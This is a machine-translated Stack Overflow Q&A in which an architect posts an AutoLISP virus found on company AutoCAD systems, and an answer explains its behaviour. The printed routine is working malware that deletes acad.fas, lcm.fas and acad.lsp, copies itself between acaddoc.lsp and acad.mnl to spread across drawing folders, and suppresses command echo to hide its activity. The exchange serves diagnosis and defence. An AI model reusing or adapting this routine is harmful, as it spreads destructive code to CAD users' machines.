lisp - 调试这个 LISP 病毒正在做什么

标签 lisp virus autocad

我的公司受到 AutoCAD 病毒的攻击,该病毒正在删除我们的 acaddoc.lsp 并将其替换为以下例程。

我是一名架构师,并不确定重复的“查找”和“删除”到底在做什么。

问题

  1. 用什么替换文件(当前正在搜索 acadapq)?
  2. 谁为 AutoCAD 编写病毒?!?!

有没有人见过这个? CAD 论坛不是很有帮助。

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)

最佳答案

它正在对常见的 AutoCAD 自定义文件进行支持文件路径遍历、删除和替换。 ("acad.fas","acad.lsp", "acaddoc.lsp") 我不知道"lcm.fas"是什么意思。它是 AutoCAD 垂直产品(即 AutoCAD 机械或建筑桌面)的一部分吗?

循环本质上是“当我不断在支持路径上找到时将其删除”。

据我所知,AutoCAD 没有针对此的内置防御措施。 (可能有一些 acad 系统变量会停止执行这些文件)。

“cmdecho”行正在保存和恢复允许/抑制命令回显的系统变量。在运行时将其关闭(因此您不会注意到)然后恢复原始设置。

礼貌的病毒:\

当 AutoCAD 启动时,它会执行在其支持路径上找到的第一个“acad.fas”和第一个“acad.lsp”。每次 AutoCAD 加载新的 .dwg 时,它都会执行“acaddoc.lsp”。

关于lisp - 调试这个 LISP 病毒正在做什么,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/1903181/

相关文章:

python - 当一个 DSL 得到 'lispy'

php - 如何摆脱 eval-base64_decode 之类的 PHP 病毒文件?

javascript - 为什么这么多网页的标题中包含这样一个奇怪的代码片段?

c# - AutoCAD 插件开发示例

c# - 使用 C# 在分解后删除 AutoCAD 绘图对象

sorting - 从 lisp 中的输入流中读取多项式

lisp - Common Lisp 中的属性列表是否引用某些全局状态?

lisp - 编写专家系统的最佳语言是什么?

tomcat - 黑客试图通过Tomcat 7上的FileUpload发送脚本

C# AutoCAD 插件 SQLite - 在极少数情况下找不到错误表